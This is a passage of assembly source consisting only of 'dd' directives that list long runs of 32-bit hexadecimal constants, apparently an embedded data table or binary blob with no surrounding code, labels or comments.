dd 0D1C61FA2h, 5BB079E9h, 967C1289h, 8CC280C3h, 92DAD5EEh
dd 0D6E2FFEBh, 0A3F98396h, 5CF394EDh, 544792BDh, 828D5F66h
dd 19B0F13Ch, 9C0EB7F3h, 710C8A09h, 0C33EDC29h, 0AEA0A491h
dd 47FC5EBh, 4E9DE6FFh, 9E319029h, 899D8D5h, 39C16C1h
dd 0C3C7A0AEh, 50678703h, 0FDC07DA1h, 0C4C0D080h, 54C37FB4h
dd 43D5FC7Dh, 0FE896839h, 0CC026EACh, 7E5C2528h, 0F462A670h
dd 6817C8A7h, 0ADFD232Dh, 5E6BE377h, 2E5C0757h, 5A0AFA2h
dd 6511EBB1h, 0D4EF647Dh, 13BD8072h, 9112DA91h, 0FC97211h
dd 7D8A5326h, 6211E319h, 0B8B7FF0Fh, 0B97509DBh, 3DE22B9h
dd 784B66F9h, 6EA72D56h, 82C4AA0Bh, 0DAB286A8h, 0AEDAFE6Dh
dd 0E03D019Eh, 5C4E2C2Dh, 0DB3CDF64h, 10BAA8ECh, 266ACD0Ah
dd 86EBCB3h, 8B69C3DCh, 7081D648h, 94D46DB1h, 5A63B82Fh
dd 0BF1417DFh, 0A3C03FB5h, 0C2640072h, 0FB50143Ah, 0F68E17ADh
dd 98163413h, 15090589h, 0B5525B08h, 3C6B58D6h, 0A8668C4Fh
dd 20416168h, 9164D675h, 0B623D0F3h, 0DDD888A2h, 309A3DA6h
dd 5F60AB4Ah, 0DC4A3F1Ch, 0E7E7D4D2h, 0EAAEEBEDh, 2CE70AA3h
dd 0D7E3F499h, 0E1F67273h, 91E65994h, 1DDD4157h, 0C5662358h
dd 5F1703ADh, 0FBF9F6ABh, 0B16456F4h, 2D5E1E27h, 0D2B9FC06h
dd 3CF46B7Eh, 4A09DB9Ch, 615D7CD3h, 0EC628CF0h, 1237FBA1h
dd 0F5F94EA7h, 0B76D94FEh, 0FDEBFDCh, 4064F2ABh, 0DC57EBFAh
dd 1BB9675Ch, 71B580E3h, 0F50E31DAh, 0ECD0B8Eh, 40E28A44h
dd 6413D41Fh, 8FD87F02h, 3A42D88h, 45163BB5h, 0E7492F7Fh
dd 0B7A568E0h, 2F72A7CBh, 0DB48C4AAh, 3EBCEDE4h, 2BB3E59Fh
dd 0D20F1E4Ch, 3D4C905Bh, 0D323BB2Eh, 3DF34A68h, 526B6CD7h
dd 0FCDCA514h, 4DFAC68Dh, 0E357D1B5h, 0B5D9A93Fh, 8E756660h
dd 7BD6805Bh, 0C97DF10Ah, 2856498Ch, 283F1655h, 0D075FC17h
dd 0BFAF5100h, 127D9B89h, 0FC8A7F77h, 0A23F0CD0h, 2B417BE1h
dd 0D1EFAC89h, 0DF71B8C5h, 0BBD86FDFh, 907C04A2h, 1C1677F8h
dd 5ABD289Dh, 0F8E5A5CBh, 0A80F2C5Ah, 3059856Ch, 44E3779Bh
dd 0FEF7964Ch, 0B9979EBh, 0C21C4C66h, 25463B68h, 4F270F95h
dd 0E3F1F0AFh, 0CD6857F2h, 235C1EA6h, 55BAFDC6h, 7F77EB1Eh
dd 6BC99B8Ch, 517D5CDBh, 0E452BCECh, 163FF3A3h, 0F7F54AB8h
dd 366F96FFh, 0CF5DBCDCh
dd 203B712Bh, 0CC37ABBAh, 63A9477Ch, 7DADB0D3h, 0F30A39E2h
dd 0DCB0F8Ah, 41638846h, 64D3571Ch, 0FF8B881h, 0C354CDCBh
dd 0A51E0B96h, 17B51740h, 3FA79499h, 0EB0DB9CFh, 0B94945A8h
dd 11BCAD67h, 0DC33C558h, 59CF0EADh, 0FB6C984Bh, 0B013BF26h
dd 0C7B4864h, 5AA76BD9h, 0F8FEA495h, 0C809C6CDh, 0FC955195h
dd 0C8C4F94Fh, 0C2791678h, 5F37805Fh, 0AA686908h, 247068E5h
dd 0C04E9D54h, 7C968663h, 0B18120E9h, 4AEB3FAEh, 97F54E39h
dd 0CF6BCB8Bh, 5F24183Bh, 0FCCF8AB4h, 0AA83BCE9h, 0D26C9FCFh
dd 5C73ACD4h, 10271533h, 34FC08C3h, 87A990ADh, 542D64E4h
dd 153BF11Ch, 48CCD8FBh, 0FB84D6C8h, 6A6DEC4Bh, 57C3B68h
dd 476B7E37h, 0B4563E9h, 0BD4796B2h, 0CB2C52DEh, 4AEA4B60h
dd 0A18BC7D7h, 0C7781951h, 73283E0Eh, 654CC8E3h, 0D6DA89C8h
dd 59E018ADh, 81ACE5F2h, 8F7FBA90h, 84AA68FCh, 6E830AABh
dd 0DE33535Dh, 0BBCEFF5h, 2DD7B8AFh, 9236A70Fh, 51A2B529h
dd 4DEE855Ch, 16E18861h, 0FD7DAFECh, 89EAFF79h, 0EB097950h
dd 73327B4Fh, 0E7D7FF60h, 941BD764h, 0B563AED1h, 64DC08F1h
dd 0A4D78570h, 0B7EE96E2h, 0DBAD24DEh, 0FC73FE52h, 9626CA06h
dd 0E3D106D8h, 6196DB7Bh, 0A861B57Fh, 0D838F092h, 0A6C848ABh
dd 0E3F72D9Eh, 19F78E2Ch, 0AEF9157Dh, 9E975A2h, 0C3E816Dh
dd 33C1E47Ch, 9A8F3460h, 0DCF9E86Bh, 43ECDD59h, 0E077EED0h
dd 5966B374h, 0CE8DB590h, 0B7508185h, 0B578CB84h, 891AAB9Eh
dd 0EB9931FCh, 720E3F4Dh, 0E6BAD063h, 3DDB4F4Eh, 11F2B94Fh
dd 0FED76B9h, 0ACE67D93h, 22EF9B67h, 0B5A0B721h, 0C4024124h
dd 0EB2F79F2h, 0EC0988B0h, 0F842F19Eh, 6FDBBECBh, 0F18CBB22h
dd 0D461AEB8h, 7BE878CCh, 40E989D6h, 0B2FDCDA7h, 73EB21BAh
dd 97A4DC4Dh, 156AA54Ah, 13B27766h, 85B26831h, 0CF79D140h
dd 40BD95D5h, 37CCA545h, 0C572B814h, 0C5868E61h, 0D164AA6Eh
dd 0EC249168h, 0FA6CA7EAh, 0F3A0A6A4h, 0FD0F7F62h, 783F3E3Bh
dd 0F7EBB05Dh, 0A8FDFC71h, 0EEFC2FE3h, 54F84F9Ah, 90F6F677h
dd 44E29CEAh, 66A173DEh, 5B46D977h, 0EA5EF60h, 178398ADh
dd 0F8E38EDEh, 676A8F18h, 677E84B4h, 898C4E8Ch, 0F20540EDh
dd 5458E823h, 0ADCA9079h, 4BE2A762h, 0C2D8A678h, 0F56CBB44h
dd 7EB75110h, 27C6F443h, 0D6C77339h, 0DD67DE8Bh, 642AD4BDh
dd 6DCAB851h, 4A90B38h, 72FDCBD7h, 4B3D8E9Ch, 1DB415F0h
dd 19A63EF5h, 0ADF4D427h, 99300A69h, 98AFEF2Dh, 87AFDF25h
dd 0CB6824E0h, 75279D58h, 8EC7995Eh, 908EA29h, 0BB25B1F8h
dd 0C782B7A1h, 0A6DC8CDFh, 0EAE99421h, 0F2D83C53h, 0F863F490h
dd 17E86AA8h, 486B9E1Dh, 0BBA4C877h, 7F97A2D1h, 9FF0D009h
dd 0BFB18C5Eh, 24AF7781h, 0B4E61759h, 0F365CB76h, 0CCE079E6h
dd 0E8D45BA8h, 0FE30619Bh, 0F6B88368h, 94816C6Dh, 9183113h
dd 0F973365Bh, 0DB9082A4h, 0CF9886FAh, 70EE22F8h, 52F4EABFh
dd 44A89449h, 0EB8CA32h, 1862985Eh, 0F6A70B98h, 5385ADB3h
dd 0D1F398C4h, 79719812h, 7F200E0Bh, 110685B8h, 15C5906Fh
dd 6A4D17FEh, 21224315h, 8F888CDFh, 0F687616Eh, 637EF667h
dd 0B0537413h, 46C5F891h, 10D3DC77h, 0A36CBD92h, 5AAE4384h
dd 20C7F5FEh, 28E19056h, 18252D9Fh, 3725EA5Eh, 0A86D42Fh
dd 76F0944h, 8FACD8EBh, 2CD3D2B8h, 3BA2995h, 77D77F43h
dd 0AD61D8FFh, 44384615h, 9057A027h, 0D3C61F6Ah, 0C646FAE9h
dd 606C995Bh, 97DCFE52h, 851DBE63h, 7F4A55B7h, 0A80C6CB4h
dd 86D5EC95h, 0D89EC281h, 0F8F927B3h, 0EF3EF1F0h, 49AC23A9h
dd 679EC34Fh, 0D81B8792h, 7BAC240Ch, 978B543Ch, 41E5291Bh
dd 0ABED1FE8h, 0A08FB621h, 0E26FC848h, 0DC9EFFB5h, 52D307A6h
dd 44F4B02h, 90BA89C7h, 0CC0A789Ch, 11BD6F0Dh, 803A5531h
dd 0CAE19DF0h, 0C58A9163h, 696069A3h, 0B671B0D8h, 4CCEE9DEh
dd 2B963D54h, 944F05Eh, 87B3369Dh, 7196A8F3h, 56F990E4h
dd 8B6B185Dh, 4DB6553Dh, 51251BFh, 152280EFh, 586405A3h
dd 37B44860h, 8C9D957Dh, 0E26D6A76h, 4C92BBE0h, 0A65CB33Ch
dd 5D3838AAh, 0C19CFD97h, 3F1847CFh, 75CF38D8h, 2C2E7DCh
dd 1BC17749h, 0D75C5CBDh, 0CBE7388Ch, 6990CEE5h, 30A95430h
dd 8871F8C2h, 3DA4CBA6h, 3F7209C8h, 6A725E6h, 99DDD792h
dd 0CAE65039h, 6256EE02h, 0A9209F72h, 9322A5FBh, 0E004B4Bh
dd 9BC6F544h, 626FD374h, 0A1C8FDFh, 0ACB31F87h, 0A31F0798h
dd 0D7BDCE52h, 0FB1217DBh, 0EC61FDDAh, 67ED089Ch, 3B17C360h
dd 8E3AC65Dh, 714AB760h, 0A7A81E1Ah, 0DA824738h, 8EF312F6h
dd 0F2FAE412h, 0AC77CE1Dh, 0F9A620F5h, 89D2D9A9h, 6D633EA6h
dd 9B9463E2h, 0BE967BBDh, 56D16333h, 0BEEB6C0Fh, 0C8E1AEB7h
dd 0C4E8A0D2h, 7CEE7130h, 4E64CACBh, 8B2ED3A3h, 5CB4EA44h
dd 22151A55h, 8FBC73A4h, 59984CC1h, 0E29685C4h, 0F14A8457h
dd 376D821Fh, 22C57EE0h, 44052564h, 1229177Eh, 37D94155h
dd 0EE86DF3Fh, 0F1AA5E10h, 63FCFE41h, 0E728569Eh, 4B2669CCh
dd 0ACD56D2h, 344657C0h, 0DAF1A99h, 568CE2B5h, 69BAD55Fh
dd 6A01EE88h, 0DADC390Ch, 2F86FCA9h, 2B6F794Ah, 8336D51Eh
dd 3D968ABEh, 554D46E6h, 36F4116Eh, 0E2958A06h, 12A31DFFh
dd 424DB450h, 0D67C5C25h, 8A0F50B5h, 60320F7Dh, 92ED9573h
dd 0C2089D36h, 0E12E8398h, 6D0626B6h, 0AC420C85h, 0C852E5A1h
dd 0D08A2C37h, 0F403F010h, 5FB20AACh, 33A8DA4Ah, 0B4F2DC47h
dd 727F0A07h, 0BEB1D313h, 35822437h, 21E3FFD5h, 0EF60B33h
dd 806BE51Dh, 0F2B2AA87h, 0E1A1B9BAh, 17752B0Ch, 0B8A9720Eh
dd 0AC0550CDh, 610113A5h, 9CFC4EFAh, 0CEC1BD9Bh, 0DEE1896Ah
dd 64E36C4Eh, 0EF6FF1C9h, 0F91FCE99h, 709639B6h, 9C034943h
dd 4BAA54F9h, 0B09847EBh, 0DFFEC9C0h, 0EC6F8340h, 76E8810Ch
dd 329570B5h, 1A6669ECh, 6BF8173Eh, 3305443Ch, 81BFDA56h
dd 0E4967B9Ch, 75E0BB7Ch, 0AB6D91D5h, 402CB8DCh, 0DFD47393h
dd 0E35EEED3h, 0F0AF629Eh, 66C2B3A8h, 36FD8C58h, 1C7BEE90h
dd 0E9D42CB1h, 2E91F363h, 2F9B60A3h, 94B8C097h, 27E5D8F7h
dd 2623A3h, 1AE53E78h, 0AD81CD62h, 0D7E205DEh, 0D078F013h
dd 754BDF77h, 0B65424E5h, 49533B2Ah, 0B9C1DB50h, 0C44EC673h
dd 0C34BC9FCh, 6D9822B0h, 89CD0D83h, 0C875C753h, 0C0AF216Bh
dd 0C246FF11h, 55A734F9h, 47F9D330h, 0F9B48810h, 383EE521h
dd 0D0E5D057h, 95C74976h, 2EB1BDB0h, 40946061h, 0FC6DB664h
dd 0F4A59EF4h, 91D2AAA6h, 61763D99h, 0D6E83F27h, 0D8CA0880h
dd 26461AEh, 0B8B86DB1h, 0DBCA97B7h, 8AFEC93Ah, 7FEA667Dh
dd 1276FAD6h, 6A4894D1h, 0BA96B983h, 641D814Ch, 0CDBC9692h
dd 75DC24FAh, 56F37FC3h, 344AA833h, 0FD36CA44h, 6F5228AFh
dd 21117A64h, 468605E3h, 7CA067F1h, 0B94FA93Fh, 0C48E2CDAh
dd 42E6C95Ch, 0E2A95FEFh, 2F03B2CFh, 101361AEh, 9D72C783h
dd 0B56699A3h, 45FA84DAh, 252EB916h, 310AD7BEh, 0AC81850Ch
dd 21A8180Dh, 222507D1h, 83BC34ADh, 3D23F80Ah, 0A772CA4h
dd 7F593353h, 99F7EB3Ch, 60EE0539h, 907BA1F3h, 5228141Fh
dd 0A603F2F4h, 0B3790D11h, 0B4F91E7Ah, 0ED59C825h, 0DB25A6E3h
dd 0E00A22F4h, 7CD90494h, 893286C5h, 0D9AD61B4h, 8D9BFD77h
dd 10BF4686h, 76C9E408h, 0B4E0DB0Ch, 7EE82C67h, 9A6445A8h
dd 50B5EA32h, 9E298DF4h
dd 7391F232h, 0ECC2393Bh, 0C38F66C6h, 0D9309EA0h, 70708806h
dd 0BAA60AACh, 0B004B848h, 32B66781h, 87AB4119h, 0FF15DA35h
dd 0CBF7CEBFh, 78866071h, 0D56CFC51h, 2A57DDDDh, 0E3B719ADh
dd 4E11C472h, 35B1B786h, 7A9267F1h, 33F77F8Eh, 4D7C9A58h
dd 4796E875h, 0B446618Ch, 6EE6CE3h, 56F21BE9h, 448279C6h
dd 8578926Fh, 0F3BD7F9Ch, 62C8F274h, 0CC3BD186h, 79981FBBh
dd 0C50633C6h, 723790CDh, 0B854BB9Eh, 4AD5BDFAh, 5A0AFA40h
dd 345EDCF1h, 0ED9A6988h, 678D76E3h, 28A6F6A0h, 0C9377EB9h
dd 1C00B928h, 384674EEh, 500F2718h, 0CFB3EA52h, 0D38D5DEFh
dd 157AF397h, 1B23D40Eh, 9A47D76Bh, 0FD1EB029h, 0ECCE6C41h
dd 0EA5F9D3Ch, 0CA2ACBEBh, 79803AA0h, 3D081298h, 0D90BEE01h
dd 0E8D264A4h, 0FC85B465h, 61FB4976h, 30F4D82Dh, 90A7884Fh
dd 6622ED2Dh, 0D86F59A0h, 9721A35Ah, 0A4F09FB0h, 618D8034h
dd 9E3C0E1Dh, 0D8A94A87h, 0FDA798BBh, 6D7B169Ah, 0A1ADC2E8h
dd 0CA909E2Ch, 13AED227h, 0D112F472h, 0CFB7A566h, 0EEB64DF6h
dd 30D44951h, 655C1E4h, 99618753h, 0DDE5C0A0h, 7C1F1BADh
dd 39BCC445h, 3CA7DEE2h, 75B69CCBh, 4538ED10h, 944FD310h
dd 0E8D14DBCh, 62906F79h, 0A1281768h, 0C3B04394h, 0CC05C0BBh
dd 0A08A7F15h, 5C97B62Eh, 0C0990C9Bh, 5EE568B2h, 48659F9Eh
dd 37AC87C5h, 8CC781C9h, 9EBDFF80h, 0DFBDBD13h, 0FC04D1F6h
dd 0F123A231h, 3292FDE4h, 705E8CCDh, 0E93A97AEh, 2C47AF73h
dd 14933CCEh, 1A882A0Ch, 0E7F1CC6Fh, 6BB1A2Bh, 3C078951h
dd 142302DBh, 0C055739Fh, 0AB1EDB61h, 0A388D628h, 0EA3CC110h
dd 0C924B3EEh, 0EA0030BDh, 995F0494h, 23F8A381h, 96E2141Bh
dd 0EAD9DD9Ah, 7BF928B0h, 25FBD325h, 83838A04h, 29E92C48h
dd 9FDFEF40h, 465EBA24h, 4E9F12FCh, 8996B71Eh, 0F3225407h
dd 0C0AC4FD8h, 0E8C09297h, 5116BE2Ah, 8BE4B606h, 0A844CE65h
dd 5C279368h, 0F218B67Ah, 91D4BB32h, 0D8816AD0h, 4BBD2465h
dd 0B646F914h, 0FE06F533h, 0C9AB1A93h, 64064AD2h, 35BDF732h
dd 118F8BF7h, 3FB3EA9Ah, 0E38FA1Eh, 66C5D60Bh, 2F8342BEh
dd 81FF6AFCh, 63593D6Ch, 7E897AF8h, 0B7569CCFh, 0CFB47E28h
dd 67DBFE72h, 9431DC9Ch, 2864E29Fh, 0DF4FA0F3h, 0FA91B1D1h
dd 3F1ED285h, 6E888294h, 42ADE7Ch, 7E73AD9Dh, 97CC37ACh
dd 1491EB69h, 63A7E020h, 0E293DE90h, 2B7D2C41h, 43A0F8D9h
dd 5831390Fh, 0EF020069h, 83DD4CE3h, 0C005EA0Bh, 0A63983F0h
dd 0B15472E2h, 9B78F087h, 0CEDA92B7h, 0E01D317Ah, 0E26BA9FCh
dd 2B2CDFEh, 8CAC3CECh, 69D6F80Eh, 99FE3518h, 45F5F58Ah
dd 0A5A46AFCh, 52A19A93h, 0A4ECCA35h, 3249E57Ah, 0D89BD7B9h
dd 0B36BB43Bh, 20841CDBh, 0E129AD1Fh, 0E9A5061Ah, 1B8A50E2h
dd 0E13CC7EBh, 56714ED8h, 0CFC7220Dh, 0E48F1B6Bh, 3D6ABC54h
dd 0EE0D3ABFh, 85B4E343h, 0E306A180h, 3EAD7C77h, 1294BD8Dh
dd 6ADC91DCh, 0AEAAD2Dh, 1F7E888Dh, 2E610EAh, 31C88A8Fh
dd 26B221D9h, 36C5A2Ah, 0B464F60Bh, 2908B9FAh, 0B5B1D126h
dd 4E4C31EEh, 98EC7B5Ah, 0F0357BEh, 8EF340CDh, 57DEEBAEh
dd 0CE8B0AA1h, 1424E505h, 34CAB915h, 0E683A8DBh, 7972DE90h
dd 343DB3B2h, 840EE841h, 4305FCA2h, 97E4D557h, 84AE3623h
dd 0F6B98C46h, 6CFAF6E1h, 38607133h, 9A26FC5h, 2CC69E33h
dd 0AE325651h, 24D3256Eh, 988B9785h, 0CBFA9E81h, 91550B84h
dd 0E06BE3A1h, 0D7D08F1Ch, 8B0FA6BEh, 0CA2C2357h, 0ED0FF7BCh
dd 6AC7C2DAh, 3A88EA41h, 99E63E52h, 79EBB38Fh, 2FA830B5h
dd 97BDD440h, 47F7D8E5h, 24BA239Ah, 0B5497E52h, 0E12E6643h
dd 6AD40EDCh, 0F74A7612h, 0CF1D3613h, 0DE1C7DEEh, 6E1190A0h
dd 0A45D8B03h, 0CBD810E7h, 0FE993A9Dh, 682AE10Dh, 0BC3853C3h
dd 89CB0A7Bh, 87D9A8C5h, 7E755019h, 0D5A9E84Dh, 0ADCD9DDh
dd 67E5E942h, 3550E918h, 549409D2h, 0E95A82Eh, 20F487B9h
dd 26B4B19h, 64A1D738h, 0E245E053h, 0C471E965h, 3F183FE8h
dd 0F01A3705h, 922A0ADEh, 69434354h, 0A2C3FEABh, 0F95D9191h
dd 40EB3562h, 319FE266h, 0BD334AC9h, 3960DBDBh, 6080AAB2h
dd 0BDFA60Bh, 0DE53F6D4h, 43FF3AB2h, 3A9970F8h, 4D904C43h
dd 0BEBDC0F0h, 4C722A2Bh, 2CBAFBDEh, 0F008E65h, 0BEA16E52h
dd 0CBDC39A4h, 54B6DCC3h, 0F635C8B1h, 91FB7588h, 8815DCB3h
dd 0D3389F95h, 0FD4F6ED0h, 0D4186024h, 7AD49988h, 311BA0F9h
dd 2EE03D48h, 0D832517Dh, 6FF913BEh, 0AD0D30BEh, 97BFD6DDh
dd 5FABE7C0h, 272194B7h, 8223044Ah, 0F2D24DCEh, 70D50FDDh
dd 0B37B752Eh, 0F6E95842h, 1A4F02B8h, 22768CAEh, 9A510680h
dd 808A8CA8h, 618B4DC8h, 2C7F5B38h, 0B67B0C8Fh, 9B8DF64Eh
dd 0D21E24CEh, 702EDE77h, 4C9DC0DDh, 8E833F17h, 1A2EA46Dh
dd 7E738E27h, 0F226CA4h, 684B5B3h, 23061A73h, 31548AF5h
dd 0B62A2C09h, 0E4D4994Bh, 0F4141D6Fh, 623B87EEh, 0B5593547h
dd 216D184h, 190125E8h, 0FDE09641h, 0CEEB3D41h, 18AB4543h
dd 0DE3BABh, 0B0320026h, 5148B7A1h, 7A94BCAEh, 9CC3A70Bh
dd 0AB6DE5C8h, 37A9E676h, 74C3EBE3h, 0D5FC1459h, 8597AC5Eh
dd 54311B0Eh, 6EB8ECDCh, 0A8A9D39h, 0A3E46F42h, 2B147F67h
dd 4FAA9D74h, 9556C915h, 0ABEB2BD5h, 0CC0BAFD8h, 0B4269F87h
dd 0C777C9ACh, 8F05F073h, 8564D3F7h, 0FA43C7EEh, 0B95D2E42h
dd 0F6BB4675h, 708B5AADh, 8EF231A8h, 88E2CA57h, 7DF6C872h
dd 60F137DCh, 0C2E89210h, 8B8B669Eh, 6FE9EFB9h, 0E92FE63Dh
dd 0F7B3576Fh, 0B041ADF0h, 0B823CFCDh, 0A80DD145h, 0AF91D168h
dd 0ADB2C86h, 1D5D6ACDh, 9D1A4279h, 0B882EF63h, 0D19230D8h
dd 61EBD768h, 0CDB8FD13h, 0F6EF6B0Ah, 7665F00Bh, 0E07B8257h
dd 8A0E0F57h, 5DF0CBFCh, 6138A546h, 50798EC3h, 28DA1237h
dd 492914Bh, 2E311773h, 2BE3D0B2h, 0E2DE1F5Fh, 40728B82h
dd 53BC7C68h, 0BE01B631h, 9578D61Ch, 66FD85F0h, 30F473C3h
dd 0EE6BD216h, 682BB0B2h, 3491B6BBh, 0A8BB10h, 377E6495h
dd 4CB2BE85h, 3BA6BB07h, 0C8E566D0h, 86D5888Dh, 163E7546h
dd 5DC5B1AEh, 2B36BE71h, 0B9772987h, 0AC503F79h, 0FA7BBF12h
dd 5263AE51h, 91A817A4h, 812288F2h, 8732DFD7h, 0CF7400AAh
dd 6978D51Dh, 9AB06AD0h, 0CDCD88D8h, 866E304Eh, 0ABB77A44h
dd 7C8F1BDDh, 8EF426A9h, 0DDEC9B8Fh, 2A3C8026h, 0F95CE94h
dd 0AFA0A702h, 0C5DE21FCh, 74BABDFFh, 0B43FAFD5h, 0F2A33B07h
dd 4F4CA8F8h, 0EC6010BDh, 875F5284h, 9CD66675h, 88B6DE1h
dd 4475BAAh, 9534DD41h, 0BD80D96Dh, 9A192C93h, 719991AFh
dd 4C12F694h, 1BF703A7h, 9E10B95Eh, 3D4FEA18h, 1736674h
dd 5A28E8Ch, 5F1B5433h, 0A2487ECAh, 1C543379h, 256F1A23h
dd 570B2F53h, 2AD3DCB2h, 8166495Fh, 6009A1BFh, 7A165ECFh
dd 8370D98Eh, 0BA4D421Ah, 71A78089h, 11EF7DD4h, 0CA26DB20h
dd 230B1ACDh, 388863EFh, 0C88B965Eh, 7D7B168Ah, 31EEEA30h
dd 46CBC328h, 0D8A340D6h, 0A4908BF6h, 75506AF9h, 1F9CC405h
dd 5FDFBF10h, 0A4607C8Eh, 493A6971h, 87459101h, 48459E2Ah
dd 9D8676FEh, 561FE6D3h, 2D338C85h, 0A26CF9C5h, 6F661907h
dd 97077092h, 0DAC4F6FEh, 8C4B0A45h, 0C3AF6F7Dh, 510B0492h
dd 932524BAh, 0A49DDE5Ch, 87FA08Ah, 5F43845h, 8098413Dh
dd 86F6F8CFh, 6DF2D5C3h
dd 0B43E0ACBh, 0EBAE0D5Ah, 955B75EAh, 69731CE3h, 2E59450Eh
dd 96C97FE8h, 5A8F631Bh, 167B7AC3h, 9434ECB6h, 0A086933Fh
dd 0CC9B26A2h, 3637D61Fh, 842EACE5h, 44C520B2h, 0BE18B948h
dd 4C309376h, 0BC1E5B1Ah, 0E782B5A8h, 5E1CDE3Ch, 0B2710FEAh
dd 50820C25h, 33087342h, 0EBE5D70h, 628A84F0h, 0A67B3657h
dd 41B68F9Eh, 19126B68h, 0DDDBA9A9h, 0DD478B4Eh, 0D2F29BFh
dd 21831E6Eh, 0FA51BE50h, 6D3D3DC6h, 309DFA81h, 2895113Ch
dd 0B23674EDh, 0D7A908B6h, 66838EB0h, 9EB602ADh, 0CBF0CAB6h
dd 5B6409D1h, 3EE5F796h, 0F5F97EFh, 0A2A47BAEh, 0F6437F39h
dd 645DB22Dh, 28538458h, 969138E9h, 3A54B2A4h, 0C854C4D4h
dd 52410D9Ch, 205B751Bh, 8CA11B89h, 0F153E6EEh, 0D43F7604h
dd 0FAD66A6Eh, 703F1189h, 0F6F723A8h, 0CC3382B8h, 7C2AE8B7h
dd 2151B93Ch, 9E9A270Fh, 0E2CA96ACh, 64D392F1h, 0B36334D4h
dd 0FEA9D903h, 480E17F2h, 4B1C8EB8h, 0A5D77D7h, 0BECB7DD6h
dd 4E816B27h, 254A4323h, 9215B7BDh, 0A091EDBCh, 0CC142CE2h
dd 1E558D2Ch, 4958E8A5h, 8EC22086h, 0D50FBE5Ah, 643F8877h
dd 0E0534346h, 2E968FF2h, 9E1B1F5Ah, 0DC7DC4F0h, 7809AD06h
dd 66AD3D10h, 3D89EE4Eh, 646BD6F9h, 0F1622C53h, 412BC2CCh
dd 57D940F6h, 0B39CFB29h, 0A30674ACh, 6329688Eh, 19D48604h
dd 0F7479F07h, 7C0C3DE6h, 299E7CBEh, 0CA9B4925h, 0F70CD589h
dd 0F5FC0E36h, 61A584BEh, 0ACB74980h, 89A1D4DAh, 79664EF4h
dd 1DBCF413h, 15958082h, 0AED66E84h, 48EB7ED9h, 1B6D8804h
dd 6CC8D571h, 0F88415BEh, 7071B986h, 342DBE93h, 84DB7C1h
dd 5207EE27h, 0E40C10D2h, 0F64D07D1h, 0F5CF644Eh, 0E8C2775Dh
dd 0C024C93h, 0FD3879E7h, 0F747DA73h, 45C7DE6Fh, 29DF3B58h
dd 0E1B2D01Dh, 0F8A4F4DAh, 65EC0FEBh, 0CD0F57D8h, 0A5B00845h
dd 0DF16EFDAh, 0E460BEA0h, 2D0AC955h, 0DAAED676h, 0ABA7060h
dd 0A60452Dh, 942D0EEAh, 0BEC3D825h, 0C7823335h, 4FB8C652h
dd 9B27D52Ch, 8B7C136Eh, 0FC05B546h, 65D49158h, 0AD1D464Bh
dd 0AFE2EFFFh, 0AD2BB611h, 916FCFA1h, 0DCAFB611h, 0ABC91100h
dd 0D7D6890Dh, 3823E7C4h, 0FD7E3913h, 196BE799h, 28F44742h
dd 0B1B4BA5Fh, 0CDD9BEFCh, 2AA488F7h, 528DBA16h, 0D007D56Fh
dd 381076DEh, 23136AAEh, 57D5453Bh, 3BCACA9Eh, 91E99FA9h
dd 6E2EDE79h, 0E8FB6C26h, 8C8DC0D7h, 4710299Ch, 69B87604h
dd 53641DCEh, 8E6451E9h, 91F4D36Ch, 0F759DC06h, 0ABFCD707h
dd 0A9CA1B86h, 2E22E59Fh, 4E1AD734h, 2F660353h, 5873D513h
dd 10948BDCh, 10BF2BC7h, 24C66572h, 92E9754Bh, 614404ECh
dd 2C332DB4h, 1144ECDEh, 1DD5FF1Ch, 364BA26Fh, 0FD1FAAF0h
dd 0E3CE9AA9h, 62D03E94h, 945612DCh, 0F32E5119h, 48C7F7FAh
dd 0A8758EBFh, 5CB83399h, 0C5FCFA6Ah, 6BF12D64h, 3C7F6261h
dd 91250D1Fh, 0DA907537h, 0CB1B6934h, 66ADD07Eh, 578FC6EEh
dd 2AB2233Ch, 1072A464h, 19218462h, 90550FE6h, 0D586A919h
dd 0A43E3F57h, 8C3710A0h, 6D1BEC6Ch, 0E143B55Bh, 0D6D01304h
dd 4941ECF1h, 0F076595Ah, 0FC099293h, 0C9C16DF7h, 0B195F9A2h
dd 956A5DFAh, 63968D2Ah, 3493D7D5h, 0A072A41Fh, 7F3948BCh
dd 228577E3h, 85125443h, 37F0CCCDh, 0A3B46D55h, 0CD754022h
dd 2FBB9442h, 0BDC4FFAEh, 1D3E73BCh, 5BBEC11h, 1E47695h
dd 0A266A49Ah, 54B59FDFh, 0D5DEC5DDh, 0C76181BBh, 0D5B02C82h
dd 3644E8DFh, 117EDB97h, 21CE27Ah, 38355A22h, 0F53CED71h
dd 2D85B4EFh, 268A7009h, 93EE7053h, 16251ACAh, 0FF6028EAh
dd 232DC301h, 1CC5C5D0h, 0BDE279Ch, 0B42C0D3Ah, 0CF2B7EEEh
dd 66830990h, 0BC1CFF34h, 0C7B94A17h, 0DDD9A5B8h, 51D2D9E4h
dd 0B80CA200h, 9FFD32A8h, 2ACC4C81h, 2335A808h, 8E380500h
dd 0B9C3A955h, 8185AF6Ch, 15138306h, 0EDB33051h, 0B8DFCE9h
dd 796ED646h, 1430BD78h, 9D48F9E8h, 8392B9B3h, 9C3EF09Fh
dd 0D47238A1h, 0A1CB82D3h, 750EE0CEh, 0B9382771h, 5D43F2EFh
dd 0A9BE105Ch, 5D39F09Ch, 0DCC04A03h, 0CBC8A6ADh, 7B3DDD2h
dd 0F63A6278h, 9BE0FAB1h, 0E3C50513h, 27B917A4h, 4E3D0BB3h
dd 94AB372Bh, 0F9E61719h, 50FFEDD8h, 0D325758Dh, 0D1FC20BCh
dd 0DF1DFD9Eh, 0EDE1C3C2h, 5D452597h, 1EA89EE5h, 34CECC17h
dd 0A1E98CD3h, 51B1A8B5h, 3926D2FFh, 0D703AF2Dh, 204CB22h
dd 325D6FBAh, 92DA803Eh, 6B37CC03h, 60578E83h, 0B6805AC8h
dd 5578041Dh, 0A5A9E901h, 0CCC57DFBh, 0F99B4B5Eh, 7387AF70h
dd 4F0CBCA3h, 988BDBCEh, 4B6E66AAh, 23B538C4h, 6E716DDFh
dd 0AB4881ACh, 52252B7Bh, 873E9F9Ch, 5497C4C3h, 9C5F47EAh
dd 40330686h, 3C0A95C8h, 11DEC15Dh, 0FEF3E961h, 0F1747D5Bh
dd 0F717B44Eh, 75D86F24h, 356F1087h, 0D5CCE3C6h, 6D80FE54h
dd 33F8CAE1h, 96078C19h, 0C75C4D0Dh, 0FC5F23FBh, 0C7D1985Eh
dd 7C11A2F0h, 293168E3h, 8AC2BF2Eh, 3A8AD5BAh, 1376DF3Ch
dd 6A0387Bh, 9C5B37C2h, 592EF068h, 3D0F1EDh, 968DD199h
